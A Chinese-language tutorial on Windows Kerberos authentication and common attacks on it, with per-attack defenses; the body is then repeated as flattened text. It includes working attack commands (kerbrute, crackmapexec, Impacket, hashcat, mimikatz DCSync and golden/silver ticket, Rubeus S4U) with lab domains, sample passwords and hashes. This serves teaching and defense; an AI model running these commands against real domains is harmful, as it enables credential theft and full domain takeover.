详解Kerberos认证流程及常见攻击方式
字数 2338 2025-08-22 18:37:14

Kerberos认证流程详解及常见攻击方式

一、Windows认证体系概述

Windows系统主要有三种认证方式:

  1. 本地认证:用户登录本地计算机时的认证方式,密码存储在本地SAM文件中

    • 可通过mimikatz等工具抓取本地哈希
  2. 网络认证:两台计算机之间访问资源时的认证

    • 存在NTML中间人劫持风险
    • 无法证明"自己是自己"的安全问题
  3. Kerberos认证:域环境中的认证方式

    • 解决了前两种认证方式的明显缺陷
    • 采用票据机制实现安全认证

二、Kerberos基础概念

Kerberos名称来源于希腊神话中的三头地狱犬,协议中也包含三个核心角色:

  1. 客户端(Client):发起认证请求的一方
  2. 服务端(Server):接收请求并提供服务的一方
  3. 密钥分发中心(KDC):认证核心组件,分为两部分:
    • AS(Authentication Server):认证服务器,验证客户端身份并发放TGT
    • TGS(Ticket Granting Server):票据授予服务器,发放服务票据(ST)

三、Kerberos认证流程详解

1. 认证流程概述

  1. AS-REQ & AS-REP:客户端向AS请求TGT票据
  2. TGS-REQ & TGS-REP:客户端使用TGT向TGS请求服务票据
  3. AP-REQ & AP-REP:客户端使用服务票据请求服务

2. 详细认证步骤

第一步:AS-REQ & AS-REP

  1. 客户端发送用户信息(Name、IP、Time等)到KDC,向AS请求TGT
  2. KDC检查客户端是否在AD白名单中
  3. AS生成随机Session Key,并用:
    • 用户NTLM Hash加密Session Key得到密文A
    • krbtgt的NTLM Hash加密Session Key、客户端信息和时间戳得到TGT
  4. 将密文A和TGT返回给客户端

关键点

  • TGT分为两部分:
    • 用客户端Hash加密的部分(客户端可解密)
    • 用krbtgt Hash加密的部分(客户端不可解密,即黄金票据)

第二步:TGS-REQ & TGS-REP

  1. 客户端用自身NTLM Hash解密密文A得到Session Key
  2. 用Session Key加密客户端信息和时间戳得到密文B
  3. 将密文B和TGT发送给TGS
  4. TGS用krbtgt的NTLM Hash解密TGT,得到Session Key和客户端信息
  5. 用解密出的Session Key解密密文B,验证信息一致性
  6. 验证通过后,TGS生成新的Session Key2
    • 用Session Key2加密时间戳和客户端信息得到密文Enc
    • 用服务端NTLM Hash加密Session Key2、时间戳和客户端信息得到服务票据(ST)
  7. 将ST返回给客户端

第三步:AP-REQ & AP-REP

  1. 客户端将ST和Enc发送给服务端
  2. 服务端用自己的NTLM Hash解密ST,得到Session Key2和客户端信息
  3. 用Session Key2解密密文Enc,验证信息一致性
  4. 验证通过后授权访问

四、Kerberos常见攻击方式

1. AS-REQ阶段攻击

(1) 域内用户枚举

原理:利用Kerberos预认证机制,通过响应差异判断用户是否存在

工具

./kerbrute userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

防御:启用账户锁定策略,限制失败尝试次数

(2) 密码喷洒攻击

原理:使用常见密码尝试多个用户账户

工具

./kerbrute passwordspray --dc 172.22.9.7 -d xiaorang.lab users.txt password
crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

防御:实施强密码策略,启用多因素认证

2. AS-REP阶段攻击

AS-REP Roasting攻击

前提:目标账户设置了"不需要Kerberos预身份验证"

攻击步骤

  1. 识别禁用预认证的账户:
python3 GetNPUsers.py -dc-ip 172.22.6.12 xiaorang.lab/ -usersfile users.txt
  1. 获取加密的Login Session Key
  2. 使用hashcat爆破:
hashcat -m 18200 --force -a 0 '$krb5asrep$...' rockyou.txt

防御:确保所有账户启用预认证,监控异常请求

3. 黄金票据攻击(Golden Ticket)

原理:伪造TGT票据,可访问任意服务

必要条件

  1. 域名
  2. 域SID值
  3. krbtgt账号的NTLM Hash
  4. 伪造的用户名

攻击步骤

  1. 获取krbtgt Hash:
lsadump::dcsync /domain:xiaorang.lab /user:krbtgt
  1. 生成黄金票据:
kerberos::golden /user:administrator /domain:xiaorang.lab /sid:S-1-5-21... /krbtgt:fb812eea13a18b7f /ptt

防御:定期更换krbtgt密码(建议每6个月),监控异常TGT使用

4. TGS-REP阶段攻击

Kerberoasting攻击

原理:通过请求服务票据(ST)并离线破解服务账户密码

攻击步骤

  1. 发现SPN服务:
python3 GetUserSPNs.py -dc-ip 172.22.9.7 zhangjian@xiaorang.lab:i9XDE02pLVf
  1. 请求服务票据:
python3 GetUserSPNs.py -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf -request-user zhangxia
  1. 使用hashcat爆破:
hashcat -m 13100 -a 0 '$krb5tgs$...' rockyou.txt

防御:使用强服务账户密码,实施服务账户管理策略

5. 白银票据攻击(Silver Ticket)

原理:伪造特定服务的ST票据,只能访问指定服务

必要条件

  1. 域名
  2. 域SID值
  3. 目标服务器名
  4. 服务账号的NTLM Hash
  5. 伪造的用户名

攻击步骤

  1. 获取服务账号Hash:
sekurlsa::logonpasswords
  1. 生成白银票据:
kerberos::golden /domain:god.org /sid:S-1-5-21... /target:OWA2010CN-God.god.org /rc4:78c403b6e04402158d26c5581f9e954b /service:cifs /user:saul666 /ptt

防御:启用PAC验证,使用AES加密而非RC4

6. 委派攻击

(1) 非约束性委派攻击

风险:被控服务器可代表用户访问域内任何服务

(2) 约束性委派攻击

攻击步骤

  1. 获取有委派权限的账户凭据
  2. 请求可转发的TGT:
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:2dfb7f374fb297b3daa6a0e805beb048 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
  1. 请求服务票据:
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZag...
  1. 执行DCSync:
lsadump::dcsync /domain:xiaorang.lab /user:Administrator

防御:限制委派权限,使用基于资源的约束性委派

五、防御建议

  1. 账户安全

    • 实施强密码策略
    • 禁用不必要的服务账户
    • 定期轮换krbtgt和服务账户密码
  2. 配置加固

    • 确保所有账户启用预认证
    • 限制委派权限
    • 启用PAC验证
  3. 监控检测

    • 监控异常Kerberos请求
    • 检测黄金/白银票据使用
    • 审计委派配置变更
  4. 加密升级

    • 使用AES加密而非RC4
    • 禁用DES和弱加密算法
  5. 网络防护

    • 限制域控制器访问
    • 实施网络分段
    • 监控KDC异常活动

通过深入理解Kerberos协议原理和攻击技术,可以更有效地防御针对企业身份认证系统的攻击。

Kerberos认证流程详解及常见攻击方式 一、Windows认证体系概述 Windows系统主要有三种认证方式: 本地认证 :用户登录本地计算机时的认证方式,密码存储在本地SAM文件中 可通过mimikatz等工具抓取本地哈希 网络认证 :两台计算机之间访问资源时的认证 存在NTML中间人劫持风险 无法证明"自己是自己"的安全问题 Kerberos认证 :域环境中的认证方式 解决了前两种认证方式的明显缺陷 采用票据机制实现安全认证 二、Kerberos基础概念 Kerberos名称来源于希腊神话中的三头地狱犬,协议中也包含三个核心角色: 客户端(Client) :发起认证请求的一方 服务端(Server) :接收请求并提供服务的一方 密钥分发中心(KDC) :认证核心组件,分为两部分: AS(Authentication Server) :认证服务器,验证客户端身份并发放TGT TGS(Ticket Granting Server) :票据授予服务器,发放服务票据(ST) 三、Kerberos认证流程详解 1. 认证流程概述 AS-REQ & AS-REP :客户端向AS请求TGT票据 TGS-REQ & TGS-REP :客户端使用TGT向TGS请求服务票据 AP-REQ & AP-REP :客户端使用服务票据请求服务 2. 详细认证步骤 第一步:AS-REQ & AS-REP 客户端发送用户信息(Name、IP、Time等)到KDC,向AS请求TGT KDC检查客户端是否在AD白名单中 AS生成随机Session Key,并用: 用户NTLM Hash加密Session Key得到密文A krbtgt的NTLM Hash加密Session Key、客户端信息和时间戳得到TGT 将密文A和TGT返回给客户端 关键点 : TGT分为两部分: 用客户端Hash加密的部分(客户端可解密) 用krbtgt Hash加密的部分(客户端不可解密,即黄金票据) 第二步:TGS-REQ & TGS-REP 客户端用自身NTLM Hash解密密文A得到Session Key 用Session Key加密客户端信息和时间戳得到密文B 将密文B和TGT发送给TGS TGS用krbtgt的NTLM Hash解密TGT,得到Session Key和客户端信息 用解密出的Session Key解密密文B,验证信息一致性 验证通过后,TGS生成新的Session Key2 用Session Key2加密时间戳和客户端信息得到密文Enc 用服务端NTLM Hash加密Session Key2、时间戳和客户端信息得到服务票据(ST) 将ST返回给客户端 第三步:AP-REQ & AP-REP 客户端将ST和Enc发送给服务端 服务端用自己的NTLM Hash解密ST,得到Session Key2和客户端信息 用Session Key2解密密文Enc,验证信息一致性 验证通过后授权访问 四、Kerberos常见攻击方式 1. AS-REQ阶段攻击 (1) 域内用户枚举 原理 :利用Kerberos预认证机制,通过响应差异判断用户是否存在 工具 : 防御 :启用账户锁定策略,限制失败尝试次数 (2) 密码喷洒攻击 原理 :使用常见密码尝试多个用户账户 工具 : 防御 :实施强密码策略,启用多因素认证 2. AS-REP阶段攻击 AS-REP Roasting攻击 前提 :目标账户设置了"不需要Kerberos预身份验证" 攻击步骤 : 识别禁用预认证的账户: 获取加密的Login Session Key 使用hashcat爆破: 防御 :确保所有账户启用预认证,监控异常请求 3. 黄金票据攻击(Golden Ticket) 原理 :伪造TGT票据,可访问任意服务 必要条件 : 域名 域SID值 krbtgt账号的NTLM Hash 伪造的用户名 攻击步骤 : 获取krbtgt Hash: 生成黄金票据: 防御 :定期更换krbtgt密码(建议每6个月),监控异常TGT使用 4. TGS-REP阶段攻击 Kerberoasting攻击 原理 :通过请求服务票据(ST)并离线破解服务账户密码 攻击步骤 : 发现SPN服务: 请求服务票据: 使用hashcat爆破: 防御 :使用强服务账户密码,实施服务账户管理策略 5. 白银票据攻击(Silver Ticket) 原理 :伪造特定服务的ST票据,只能访问指定服务 必要条件 : 域名 域SID值 目标服务器名 服务账号的NTLM Hash 伪造的用户名 攻击步骤 : 获取服务账号Hash: 生成白银票据: 防御 :启用PAC验证,使用AES加密而非RC4 6. 委派攻击 (1) 非约束性委派攻击 风险 :被控服务器可代表用户访问域内任何服务 (2) 约束性委派攻击 攻击步骤 : 获取有委派权限的账户凭据 请求可转发的TGT: 请求服务票据: 执行DCSync: 防御 :限制委派权限,使用基于资源的约束性委派 五、防御建议 账户安全 : 实施强密码策略 禁用不必要的服务账户 定期轮换krbtgt和服务账户密码 配置加固 : 确保所有账户启用预认证 限制委派权限 启用PAC验证 监控检测 : 监控异常Kerberos请求 检测黄金/白银票据使用 审计委派配置变更 加密升级 : 使用AES加密而非RC4 禁用DES和弱加密算法 网络防护 : 限制域控制器访问 实施网络分段 监控KDC异常活动 通过深入理解Kerberos协议原理和攻击技术,可以更有效地防御针对企业身份认证系统的攻击。